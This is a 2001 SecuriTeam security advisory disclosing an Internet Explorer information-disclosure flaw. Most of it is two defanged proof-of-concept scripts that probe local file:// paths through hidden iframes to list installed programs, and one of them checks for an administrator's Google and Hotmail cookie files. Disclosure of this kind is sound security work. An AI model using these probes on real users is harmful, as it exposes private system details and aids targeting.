[NT] Internet Explorer System Information Disclosure
From: support@securiteam.comDate: 11/06/01
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From: support@securiteam.com To: list@securiteam.com Subject: [NT] Internet Explorer System Information Disclosure Message-Id: <20011106160348.C1697138C0@mail.der-keiler.de> Date: Tue, 6 Nov 2001 17:03:48 +0100 (CET)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Internet Explorer System Information Disclosure
------------------------------------------------------------------------
SUMMARY
A security vulnerability in the Internet Explorer product allows remote
sites to enumerate which programs are currently installed on the user's
computer by asking to access them via a file:// request and monitoring the
returned error code.
DETAILS
Exploit:
(note: all occurrences of 'i' were replaced with '!')
Example 1:
<!frame src=about:blank id="ifrm" height=1 width=1></iframe>
<scr!pt>
if(!document.all){alert('Ughh this is IE5+ specific')}
head='<TABLE align=center border=1 borderColor=#333333 cellPadding=0
cellSpacing=0 width="95%"><TBODY>'
htmldat='<TR bgColor=white><TD height=3 bgcolor="cccccc" width="60%">'+
'<div align=left><font size=+2 color="ffffff" face="Verdana,
Arial,Helvetica, sans-serif"><b>-' +
'</b></font></div></TD><TD height=3 width=40%
align=center>--</TD></TR>'
tail='</TBODY></TABLE><br><br><iframe src="disclaimer.txt" height=500
width="100%"></iframe>'
function yup(x) { img[x]+=',<img src="y.jpg">' }
function nope(x) { img[x]+=',<img src="x.jpg">' }
img=new Array
img[1]="LogicTech Cam,C:\\Program
Files\\Logitech\\QuickCam\\Samples\\Henry.jpg"
img[2]="Icq,C:\\Program Files\\ICQ\\Help\\HelpCards\\images\\bg.gif"
img[3]="Interdev,C:\\Program Files\\Microsoft Visual
Studio\\VIntDev98\\Samples\\Gallery\\content\\images\\CLOUDS.JPG"
img[4]="VisualC,C:\\Program Files\\Microsoft Visual
Studio\\VC98\\MFC\\Include\\Res\\TRUETYPE.BMP"
img[5]="WinAce,C:\\Program Files\\WinAce\\html\\images\\tip1.gif"
img[6]="Acrobat Reader4,C:\\Program Files\\Adobe\\Acrobat
4.0\\Reader\\plug_ins\\WEBBUY\\HTML\\table_btm.gif"
img[7]="Adobe PageMaker,C:\\Program
Files\\Adobe\\PM65\\RSRC\\USENGLSH\\PLUGINS\\HTMLEXP.GIF"
img[8]="MS Office,C:\\Program Files\\Microsoft
Office\\Office\\Bitmaps\\Dbwiz\\BOOKS.GIF"
img[9]="Delphi6,C:\\Program Files\\Borland\\Delphi6\\BORLAND.GIF"
img[10]="Visual Basic 6,C:\\Program Files\\Microsoft Visual
Studio\\VB98\\Wizards\\PDWizard\\Setup1\\INSTALL.BMP"
img[11]="IIS,C:\\Inetpub\\iissamples\\sdk\\asp\\components\\ie.gif"
n=1
function cycle(){
if(n < img.length){
dat=img[n].split(",")
img[n]=dat[0]
it = "<img src='file://" + dat[1]+ "' onload=\"parent.yup("+ n +
")\" onerror=\"parent.nope(" + n + ")\">"
ifrm.document.write(it)
document.all.timer.innerText = img.length -n
n=n+1
setTimeout("cycle();",1000)
}else{
tbl=' '
for(i=1;i<img.length;i++){
tmp=img[i].split(",")
tbl+=htmldat.split("--").join(tmp[1]).split("-").join(tmp[0])
}
document.write(head+tbl+tail)
}
}
cycle()
</script>
Example 2:
<!frame src=about:blank id="ifrm" height=1 width=1></iframe>
<scr!pt>
if(!document.all){alert('Ughh this is IE5+ specific')}
head='<TABLE align=center border=1 borderColor=#333333 cellPadding=0
cellSpacing=0 width="95%"><TBODY>'
htmldat='<TR bgColor=white><TD height=3 bgcolor="cccccc" width="60%">'+
'<div align=left><font size=+2 color="ffffff" face="Verdana,
Arial,Helvetica, sans-serif"><b>-' +
'</b></font></div></TD><TD height=3 width=40%
align=center>--</TD></TR>'
tail='</TBODY></TABLE><br><br><iframe src="disclaimer.txt" height=500
width="100%"></iframe>'
function yup(x) { img[x]+=',<img src="y.jpg">' }
function nope(x) { img[x]+=',<img src="x.jpg">' }
function test() { alert('hey there'+n) }
img=new Array
img[1]="Norton Anti V NT,C:\\Program Files\\Navnt\\end-user.txt"
img[2]="Norton AntiV 98,C:\\Program Files\\Norton AntiVirus\\end-user.txt"
img[3]="CygWin,C:\\cygwin\\usr\\doc\\lynx\\test\\README.txt"
img[4]="NT-Admin(google cookie),C:\\Documents and
Settings\\Administrator\\Cookies\\administrator@google[1].txt"
img[5]="NT-Admin(hotmail cookie),c:\\Documents and
Settings\\Administrator\\Cookies\\administrator@hotmail.msn[1].txt"
img[6]="Real Player,C:\\Program Files\\RealPlayer\\channels.xml"
img[7]="Eudora 3.x,C:\\Eudora\\Readme.txt"
img[8]="Masm,C:\\masm32\\LICENCE\\SDK_EULA.TXT"
img[9]="Php,C:\\PHP\\install.txt"
img[10]="Perl,C:\\Perl\\html\\EULA-Community_License.txt"
n=1
function cycle(){
if(n < img.length){
dat=img[n].split(",")
img[n]=dat[0]
it = "<iframe src='file://" + dat[1]+ "' onload=\"parent.yup("+ n +
")\">" //onerror='test()'>"
ifrm.document.write(it)
document.all.timer.innerText = img.length -n
n=n+1
setTimeout("cycle();",1000)
}else{
tbl=' '
for(i=1;i<img.length;i++){
if(img[i].indexOf('src=') < 1){ nope(i) }
tmp=img[i].split(",")
tbl+=htmldat.split("--").join(tmp[1]).split("-").join(tmp[0])
}
document.write(head+tbl+tail)
}
}
cycle()
</script>
ADDITIONAL INFORMATION
The information has been provided by <mailto:dzzie@yahoo.com> dzzie.
========================================
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DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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